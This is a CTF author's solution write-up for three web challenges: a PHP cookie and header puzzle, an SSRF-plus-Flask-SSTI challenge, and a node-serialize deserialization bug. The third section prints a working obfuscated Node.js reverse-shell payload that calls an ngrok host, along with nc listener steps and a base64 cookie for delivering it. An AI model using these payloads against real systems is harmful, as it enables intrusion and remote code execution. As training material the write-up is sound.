HilltopCTF 2020

Hilltop CTF 2020 is an online Capture The Flag competition organized by Security Blue Team. This year, I had the chance to be part of the Content Engineers team. We had fun developing and testing each other's challenges, keeping eyes on the servers, and even had some chances to talk and discuss with the participants. As for myself, I developed five web exploitation challenges from the basic to intermediate difficulty; and here it is, the intended solution for the challenges.

Heist To The Port - [Web, 25pts]

Description

43c9742c71aadc1b9f5302c9d20957d2.png

Solving

Given a plain text website that says see what you don’t. A simple GET request to the website returned 405 Method Not Allowed status, which indicates that the request method is known but not supported to access the resources.

6e3ba5b304ed16152a99b0285cd1b0aa.png

Assuming from the challenge title, this challenge is related to HTTP protocol. So let’s spin up curl.

As the GET request was responded by 405 Method Not Allowed, I tried sending POST request instead:

curl -XPOST http://192.81.210.234:10005/ -v

And received a response like below.

*   Trying 192.81.210.234...
* TCP_NODELAY set
* Connected to 192.81.210.234 (192.81.210.234) port 10005 (#0)
> POST / HTTP/1.1
> Host: 192.81.210.234:10005
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Thu, 04 Jun 2020 09:17:07 GMT
< Server: Apache/2.4.38 (Debian)
< X-Powered-By: PHP/7.4.6
< Set-Cookie: identify=YWxsb3dfYWNjZXNzPWZhbHNl
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 192.81.210.234 left intact

As shown above, the web responded with a Set-Cookie header, which is the way for the server to send cookies to the client. I repeated the request, but now with the given cookie attached:

 curl -XPOST http://192.81.210.234:10005/ --cookie "identify=YWxsb3dfYWNjZXNzPWZhbHNl" -v

And here’s the response.

*   Trying 192.81.210.234...
* TCP_NODELAY set
* Connected to 192.81.210.234 (192.81.210.234) port 10005 (#0)
> POST / HTTP/1.1
> Host: 192.81.210.234:10005
> User-Agent: curl/7.58.0
> Accept: */*
> Cookie: identify=YWxsb3dfYWNjZXNzPWZhbHNl
>
< HTTP/1.1 200 OK
< Date: Thu, 04 Jun 2020 09:29:08 GMT
< Server: Apache/2.4.38 (Debian)
< X-Powered-By: PHP/7.4.6
< X-Note: Your access has not been allowed. Please try again later.
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 192.81.210.234 left intact

I noticed that among the headers there is an X-Note header (which seems to be a custom HTTP header) that says “Your access has not been allowed. Please try again later.”.

In pursuit of allowing myself to the server, I examined the value of the cookie and found out that it was base64-encoded.

053c6cf25c41af2165b7f288619b699f.png

I decoded the cookie and found this:

caa5a9f746c5292c3509ab48478114be.png

So I modified the value into allow_access=true, encoded it back into base64 string, and send it again to the server.

 curl -XPOST http://192.81.210.234:10005/ --cookie "identify=YWxsb3dfYWNjZXNzPXRydWU=" -v

Here’s the response:

*   Trying 192.81.210.234...
* TCP_NODELAY set
* Connected to 192.81.210.234 (192.81.210.234) port 10005 (#0)
> POST / HTTP/1.1
> Host: 192.81.210.234:10005
> User-Agent: curl/7.58.0
> Accept: */*
> Cookie: identify=YWxsb3dfYWNjZXNzPXRydWU=
>
< HTTP/1.1 200 OK
< Date: Thu, 04 Jun 2020 09:54:18 GMT
< Server: Apache/2.4.38 (Debian)
< X-Powered-By: PHP/7.4.6
< X-Note: The requested resource is only available for Internal IP only.
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 192.81.210.234 left intact

Now a different X-Note header appeared. The server denied me because I performed the request from a non-internal IP address. I assume it is rational to think an “Internal IP” is the loopback IP, or 127.0.0.1. And to send the information to the server, I used the X-Forwarded-For header. The X-Forwarded-For is used for identifying the originating IP address of a client connecting to a web server when the client is connecting through an HTTP proxy or a load balancer.

I sent the adjusted request to the server:

 curl -XPOST http://192.81.210.234:10005/ --cookie "identify=YWxsb3dfYWNjZXNzPXRydWU=" --header "X-Forwarded-For: 127.0.0.1" -v

And here’s the response:

*   Trying 192.81.210.234...
* TCP_NODELAY set
* Connected to 192.81.210.234 (192.81.210.234) port 10005 (#0)
> POST / HTTP/1.1
> Host: 192.81.210.234:10005
> User-Agent: curl/7.58.0
> Accept: */*
> Cookie: identify=YWxsb3dfYWNjZXNzPXRydWU=
> X-Forwarded-For: 127.0.0.1
>
< HTTP/1.1 200 OK
< Date: Thu, 04 Jun 2020 10:03:24 GMT
< Server: Apache/2.4.38 (Debian)
< X-Powered-By: PHP/7.4.6
< X-Note: Okay, but you're still not coming from http://localhost/.
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 192.81.210.234 left intact

Of course, it’s another different X-Note. The server satisfied, but now it required me to come from http://localhost/. To do so, I used the Referer header, which is used to identify the address of the webpage linked to the resource being requested. The Referer header stored the address of the previous web page that made me do the current request.

So I sent the adjusted request to the server:

curl -XPOST http://192.81.210.234:10005/ --cookie "identify=YWxsb3dfYWNjZXNzPXRydWU=" --header "X-Forwarded-For: 127.0.0.1" --header "Referer: http://localhost/" -v

And here’s the response:

*   Trying 192.81.210.234...
* TCP_NODELAY set
* Connected to 192.81.210.234 (192.81.210.234) port 10005 (#0)
> POST / HTTP/1.1
> Host: 192.81.210.234:10005
> User-Agent: curl/7.58.0
> Accept: */*
> Cookie: identify=YWxsb3dfYWNjZXNzPXRydWU=
> X-Forwarded-For: 127.0.0.1
> Referer: http://localhost/
>
< HTTP/1.1 200 OK
< Date: Thu, 04 Jun 2020 10:08:13 GMT
< Server: Apache/2.4.38 (Debian)
< X-Powered-By: PHP/7.4.6
< X-Note: Hmm. Your content length () is not match with our rules, which is 10 bytes only.
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 192.81.210.234 left intact

And it’s another bloody X-Note. But this one should be easy; the content-length must be 10 bytes, and I can fulfill that by adding Content-Length header with a value of 10.

Here’s the request:

curl -XPOST http://192.81.210.234:10005/ --cookie "identify=YWxsb3dfYWNjZXNzPXRydWU=" --header "X-Forwarded-For: 127.0.0.1" --header "Referer: http://localhost/" --header "Content-Length: 10" -v

And here’s the response:

*   Trying 192.81.210.234...
* TCP_NODELAY set
* Connected to 192.81.210.234 (192.81.210.234) port 10005 (#0)
> POST / HTTP/1.1
> Host: 192.81.210.234:10005
> User-Agent: curl/7.58.0
> Accept: */*
> Cookie: identify=YWxsb3dfYWNjZXNzPXRydWU=
> X-Forwarded-For: 127.0.0.1
> Referer: http://localhost/
> Content-Length: 10
>
< HTTP/1.1 200 OK
< Date: Fri, 05 Jun 2020 04:09:11 GMT
< Server: Apache/2.4.38 (Debian)
< X-Powered-By: PHP/7.4.6
< X-Note: I see you're not accepting our flag/*. Alright then, aborting.
< Content-Length: 0
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
* Closing connection 0

Surely I’m not done. The next X-Note header told me to accept the flag/*, which is can easily be done with the Accept header. The Accept header is used to specify certain media types which are acceptable for the response.

So I sent another request:

curl -XPOST http://192.81.210.234:10005/ --cookie "identify=YWxsb3dfYWNjZXNzPXRydWU=" --header "X-Forwarded-For: 127.0.0.1" --header "Referer: http://localhost/" --header "Content-Length: 10" --header "Accept: flag/*" -v

And here’s the response:

*   Trying 192.81.210.234...
* TCP_NODELAY set
* Connected to 192.81.210.234 (192.81.210.234) port 10005 (#0)
> POST / HTTP/1.1
> Host: 192.81.210.234:10005
> User-Agent: curl/7.58.0
> Cookie: identify=YWxsb3dfYWNjZXNzPXRydWU=
> X-Forwarded-For: 127.0.0.1
> Referer: http://localhost/
> Content-Length: 10
> Accept: flag/*
>
< HTTP/1.1 200 OK
< Date: Fri, 05 Jun 2020 04:12:23 GMT
< Server: Apache/2.4.38 (Debian)
< X-Powered-By: PHP/7.4.6
< X-Note: Now you might post me debug=true anytime you need it.
< Content-Length: 0
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
* Closing connection 0

The X-Note header told me that I can post debug=true data, so I did that. I sent the request:

curl -XPOST http://192.81.210.234:10005/ --cookie "identify=YWxsb3dfYWNjZXNzPXRydWU=" --header "X-Forwarded-For: 127.0.0.1" --header "Referer: http://localhost/" --header "Content-Length: 10" --header "Accept: flag/*" --data "debug=true" -v

And it turns out the action gives me the source code of the website. Here’s the source code:

<?php
    require_once "flag.php";

    $admin = "";
    if ($_SERVER['REQUEST_METHOD'] === "POST") {
        if (!isset($_COOKIE['identify'])) {
            setcookie('identify', base64_encode('allow_access=false'));
        }
        else {
            $cookie = base64_decode($_COOKIE['identify']);
            parse_str($cookie, $parsed);
            // print_r($parsed);
            @extract($parsed);
            if (!@filter_var($allow_access, FILTER_VALIDATE_BOOLEAN)) {
                header("X-Note: Your access has not been allowed. Please try again later.");
            }
            else {
                if (@$_SERVER['HTTP_X_FORWARDED_FOR'] !== "127.0.0.1") {
                    header("X-Note: The requested resource is only available for Internal IP only.");
                }
                else {
                    if (@$_SERVER['HTTP_REFERER'] !== "http://localhost/") {
                        header("X-Note: Okay, but you're still not coming from http://localhost/.");
                    }
                    else {
                        if (@$_SERVER['CONTENT_LENGTH'] < 10) {
                            $len = $_SERVER['CONTENT_LENGTH'];
                            header("X-Note: Hmm. Your content length ($len) is not match with our rules, which is 10 bytes only.");
                        }
                        else {
                            if (@$_SERVER['HTTP_ACCEPT'] !== "flag/*") {
                                header("X-Note: I see you're not accepting our flag/*. Alright then, aborting.");
                            }
                            else {
                                if (!@isset($_POST['debug'])) {
                                    header("X-Note: Now you might post me debug=true anytime you need it.");
                                }
                                else {
                                    highlight_file( __FILE__ );
                                }
                            }
                            if ($admin === "1337l333333333333333333333333t") {
                                echo $flag;
                            }
                        }
                    }
                }
            }
        }
    }
    else {
        header("HTTP/1.1 405 Method Not Allowed");
        echo "See what you don't.";
        exit;
    }

It’s obvious that to get the flag, I need to modify the value of $admin into 1337l333333333333333333333333t. There are two functions that I can use to achieve that. The first one is parse_str() function that parses a string into variables. For example, given this function call: parse_str("foo=hacker&bar=1337", $output);. The $output variable from the second parameter will be an associative array with foo and bar as the key and hacker and 1337 as the respective value of each.

$output = array(
    "foo" => "hacker",
    "bar" => "1337"
);

The second function is extract() that imports variables into the current symbol table from an array. So, given the $output variable from above, extract() will create two variables $foo and $bar if they don’t yet exist, or replace the value of those variables if they already exist.

To take advantage of both functions, I just need to alter my identify cookie into base64-encoded of allow_access=true&admin=1337l333333333333333333333333t. The parse_str() function will change the $output variable into:

$output = array(
    "allow_access" => "true",
    "admin" => "1337l333333333333333333333333t"
);

And the extract() function will replace the value of $admin variable into 1337l333333333333333333333333t.

Simply put, here’s the modified cookie:

identify=YWxsb3dfYWNjZXNzPXRydWUmYWRtaW49MTMzN2wzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzN0

And I sent the final request:

curl -XPOST http://192.81.210.234:10005/ --cookie "identify=YWxsb3dfYWNjZXNzPXRydWUmYWRtaW49MTMzN2wzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzN0" --header "X-Forwarded-For: 127.0.0.1" --header "Referer: http://localhost/" --data "12345=true" --header "Accept: flag/*" -v

And there’s the flag.

bee463428aa994dbf3f8b4ff42d988fb.png

The Flag

Flag is HilltopCTF{HTTP_1s_just_4_game_right.}

Memoir - [Web, 100pts]

Description

f9b9f0e9b42c22181c47dd573a9e94cb.png

Solving

Given a website where you can enter any URL, the web will visit them and display the response.

b3d7471fa2240c07320a062d27ba4bd6.png

Fast examination in the Network tab from the Developer Console Window indicates that the URL will be sent to /snapshot endpoint along with another parameter called timeout, which has a default value of 0 (since I didn’t provide any value for the timeout parameter).

ce67c8f8b2c50205b7a0795847d3e5f1.png

20bb9ca139a1b128f6b5e2d62448eb77.png

The challenge title: “Deer Nova Startup” indicates that this challenge might be related to a DNS or Domain Name System. DNS is used to resolves the names of internet sites (domain names) with their underlying IP addresses.

Furthermore, examining the HTML source code of the website shows that the timeout parameter is located inside a hidden input value in the #url-form form. And we can control this hidden parameter.

57b6855fb700ec3bf83d9ef0b9b5dec8.png

And from the challenge description, there’s an indication that the goal is to gain access to their private network (or local network, perhaps). But, trying to provide http://localhost/ or http://127.0.0.1/ as the URL is not allowed. The web might do some checking to make sure that the supplied URL didn’t point to the local network.

3d43557d6d996bfe3bec26de44ada5d5.png

With that information, there are at least two ways to solve this challenge.

First Way

The first option is a faster way to solve this challenge. To understand how this first option works, we need to understand the syntax of an URL.

Every HTTP URL conforms to the syntax of a generic URI. The URI generic syntax consists of a hierarchical sequence of five components:

scheme:[//authority]path[?query][#fragment]

Where the authority component divides into three subcomponents:

[userinfo@]host[:port]

So if we tend to visit a URL like this:

http://example.com/

The HTTP specification supports a URL like this:

http://username:password@example.com/

By submitting that instead of the default URL, it might trick the checking mechanism of the website and gave up access to the local network.

So here’s the payload:

http://:admin@localhost/

And here’s the result:

4848d89fbe5e21f7ed0714b420824265.png

After gaining access to the local network, the server gives information about /action/hello endpoint, which only prints “hello”.

7438d507941d5ec88c9c0d73b68eb29b.png

But if we tried to access different words other than “hello”, it simply just mirrored the word. For example, visiting /action/harambayombabo (its a random word, which by common sense is not possible to exist as a static endpoint) result in the web printed “harambayombabo”.

4915134c35067184689c4ea777efdf29.png

We know that the server will print everything we supplied. So the endpoint structure might be looked like this:

http://:admin@localhost/action/<user-input>

We also know that the webserver is running gunicorn, a Python WSGI HTTP Server, by examining the response header of any request we send to the server.

d8ef5928f3145072c54cd6851a79a442.png

That means SSTI (Server Side Template Injection) is a possibility since it’s a bit common in Python websites.

To test the theory, we can simply send this payload:

http://:admin@localhost/action/{{7*7}}

And see if the template expression (curly braces, {{ }}) is evaluated. If so, the website is likely to be vulnerable to SSTI. And it is.

6b92cab544268c678414b2605dc42ff2.png

One of the commonplace to examine is inside the config variable, but this time it is blacklisted, since sending this payload:

http://:admin@localhost/action/{{config}}

Made the server responded with:

5b7328be19775605605ec4bb269883e9.png

So the idea is to get into config by using another method. Flask has an interesting function named url_for, which when we accessed its __globals__ attribute, it has an interesting variable called current_app.

By sending this payload:

http://:admin@localhost/action/{{url_for.__globals__.current_app}}

The server responded with:

2b9ee28e9a76a0bebf94b7263b325aa6.png

Which means we’re back to the app object where the config attribute is. From there, simply access the config variable like this:

http://:admin@localhost/action/{{url_for.__globals__.current_app.config}}

And voila flag:

8e12aefb12470b86d82b1560d3b1a154.png

Second Way

The other, maybe-longer way to solve this is by using DNS Rebinding attack, where we trick the web by sending a domain that points to some non-localhost IPs, and then use timeout parameter to create a delay until the domain’s TTL expired and we changed it into local IPs (127.0.0.1). Once we managed to gain access to the local website, the SSTI exploit is the same. I’ll finish the writeup for this attack in a few days. Stay tuned!

The Flag

Flag is HilltopCTF{d0n’t_Scr3w_w1th_:Divergence-Novelty-System_lm40}

StockMarked - [Web, 100pts]

Description

efa64bd1b328af15756e58713896f9e2.png

Solving

Given a website that seems like a plain stock trading website. 74801145c620d176fc339b8682b79e13.png

Examining the response header of the web would give us a hint about:

  1. The web application is based on Express.js.
  2. The server gave us cookies named myself with some gibberish string as the value

4cf7848fd6f6ba78099697a0d7a5d0ef.png

The gibberish string in the cookie is not gibberish at all actually, it is a base64-encoded string. Here’s the decoded value:

399934d9664cc1321461af149cfee0c9.png

{
   "id":"700303bb-5eaa-477f-ab64-02a2565916d2",
   "loginAt":1591352984324,
   "balance":1000,
   "portfolio":{
      "stock":{
         "code":"HLTP",
         "price":3361,
         "lastUpdated":1591352984208
      },
      "stockAmount":0,
      "lastPurchase":null
   }
}

Furthermore, simple enumeration of the website reveals a robots.txt file, which then discloses the other two interesting files: package.json and package-lock.json.

d3a2feb27205f861b633a7fbb70e874a.png

Visiting http://192.81.210.234:10004/package.json gives us information about the website’s library dependencies. Among those dependencies, we can see that the website used node-serialize library, which is known to have a deserialization bug that leads to a remote code execution or RCE (read here).

163d221b3293caf754e8ee50860832d1.png

The vulnerability can be exploited when untrusted input is passed into unserialize() function. In this case, our untrusted input is in the myself cookie. So the major goal is to exploit the vulnerability to spawn a reverse shell, or at least to perform an RCE.

To do that, we can use a NodeJS Shell Generator named nodejsshell.py (obtained from here) to generate an RCE payload. Here’s how we generate the payload using the Shell Generator:

python nodejsshell.py <Listening IP> <Listening Port>

Since the goal is to spawn a reverse shell, we might need to expose our computer so that it can be publicly accessible over the internet. For those who don’t have access to certain machines with public IP, you can use Ngrok (read here), a secure tunneling utility.

So here’s how we generate the payload using the Shell Generator. First, start nc in our local machine.

nc -nvlp 1337

c386684c02fd61c67c475a6c9a7e0762.png

Then, start ngrok that points to localhost:1337, still in our local machine.

ngrok tcp 1337

3f6e496ddd4e71bc12b64117f45199cd.png

After that, run the nodejsshell.py and supply the argument with Ngrok domain and port (without HTTP).

python nodejsshell.py 0.tcp.ngrok.io 13159

244e755993bb392ebcf88515766baa83.png

And that’s the payload, here:

eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,48,46,116,99,112,46,110,103,114,111,107,46,105,111,34,59,10,80,79,82,84,61,34,49,51,49,53,57,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

This long-weird-numerical string will make the server spawn a shell and perform a TCP connection into our local machine, where our nc is listening.

The next step is to deliver the payload to the web application. Since the only data that seems to have been serialized is the myself cookie, we need to alter the cookie to slip the payload into it. As explained in here, the deserialization vulnerability can be exploited into executing an arbitrary command that will be executed (or evaluated) when the input is passed into the unserialize function.

So, to create the input that can be unserialized well in the server, we create this object based on the myself cookie:

var payload = {
  id: '700303bb-5eaa-477f-ab64-02a2565916d2',
  rce: 'eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,48,46,116,99,112,46,110,103,114,111,107,46,105,111,34,59,10,80,79,82,84,61,34,49,51,49,53,57,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))'
  loginAt: 1591352984324,
  balance: 1000,
  portfolio: {
    stock: {
      code: 'HLTP',
      price: 3361,
      lastUpdated: 1591352984208
    },
    stockAmount: 0,
    lastPurchase: null
  }
}

And then passed the object into the serialize function from node-serialize library:

var serialize = require('node-serialize');
var serializedPayload = serialize.serialize(payload);
console.log(serializedPayload);

Here’s the result:

{
    "id": "e7b2fcf8-82a1-4718-b323-7e36a6c4af0c",
    "rce": "_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,48,46,116,99,112,46,110,103,114,111,107,46,105,111,34,59,10,80,79,82,84,61,34,49,51,49,53,57,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()",
    "loginAt": 1589696732888,
    "balance": 1000,
    "portfolio": {
        "stock": {
            "code": "HLTP",
            "price": 279,
            "lastUpdated": 1589695902424
        },
        "stockAmount": 0,
        "lastPurchase": null
    }
}

The last part is to decode that into base64-encoded string and send it to the server as myself cookie. Here’s the base64-encoded payload:

ewogICAgImlkIjogImU3YjJmY2Y4LTgyYTEtNDcxOC1iMzIzLTdlMzZhNmM0YWYwYyIsCiAgICAicmNlIjogIl8kJE5EX0ZVTkMkJF9mdW5jdGlvbiAoKXtldmFsKFN0cmluZy5mcm9tQ2hhckNvZGUoMTAsMTE4LDk3LDExNCwzMiwxMTAsMTAxLDExNiwzMiw2MSwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksMTEwLDEwMSwxMTYsMzksNDEsNTksMTAsMTE4LDk3LDExNCwzMiwxMTUsMTEyLDk3LDExOSwxMTAsMzIsNjEsMzIsMTE0LDEwMSwxMTMsMTE3LDEwNSwxMTQsMTAxLDQwLDM5LDk5LDEwNCwxMDUsMTA4LDEwMCw5NSwxMTIsMTE0LDExMSw5OSwxMDEsMTE1LDExNSwzOSw0MSw0NiwxMTUsMTEyLDk3LDExOSwxMTAsNTksMTAsNzIsNzksODMsODQsNjEsMzQsNDgsNDYsMTE2LDk5LDExMiw0NiwxMTAsMTAzLDExNCwxMTEsMTA3LDQ2LDEwNSwxMTEsMzQsNTksMTAsODAsNzksODIsODQsNjEsMzQsNDksNTEsNDksNTMsNTcsMzQsNTksMTAsODQsNzMsNzcsNjksNzksODUsODQsNjEsMzQsNTMsNDgsNDgsNDgsMzQsNTksMTAsMTA1LDEwMiwzMiw0MCwxMTYsMTIxLDExMiwxMDEsMTExLDEwMiwzMiw4MywxMTYsMTE0LDEwNSwxMTAsMTAzLDQ2LDExMiwxMTQsMTExLDExNiwxMTEsMTE2LDEyMSwxMTIsMTAxLDQ2LDk5LDExMSwxMTAsMTE2LDk3LDEwNSwxMTAsMTE1LDMyLDYxLDYxLDYxLDMyLDM5LDExNywxMTAsMTAwLDEwMSwxMDIsMTA1LDExMCwxMDEsMTAwLDM5LDQxLDMyLDEyMywzMiw4MywxMTYsMTE0LDEwNSwxMTAsMTAzLDQ2LDExMiwxMTQsMTExLDExNiwxMTEsMTE2LDEyMSwxMTIsMTAxLDQ2LDk5LDExMSwxMTAsMTE2LDk3LDEwNSwxMTAsMTE1LDMyLDYxLDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCwxMDUsMTE2LDQxLDMyLDEyMywzMiwxMTQsMTAxLDExNiwxMTcsMTE0LDExMCwzMiwxMTYsMTA0LDEwNSwxMTUsNDYsMTA1LDExMCwxMDAsMTAxLDEyMCw3OSwxMDIsNDAsMTA1LDExNiw0MSwzMiwzMyw2MSwzMiw0NSw0OSw1OSwzMiwxMjUsNTksMzIsMTI1LDEwLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCwzMiw5OSw0MCw3Miw3OSw4Myw4NCw0NCw4MCw3OSw4Miw4NCw0MSwzMiwxMjMsMTAsMzIsMzIsMzIsMzIsMTE4LDk3LDExNCwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDMyLDYxLDMyLDExMCwxMDEsMTE5LDMyLDExMCwxMDEsMTE2LDQ2LDgzLDExMSw5OSwxMDcsMTAxLDExNiw0MCw0MSw1OSwxMCwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDk5LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsNDAsODAsNzksODIsODQsNDQsMzIsNzIsNzksODMsODQsNDQsMzIsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDQwLDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzM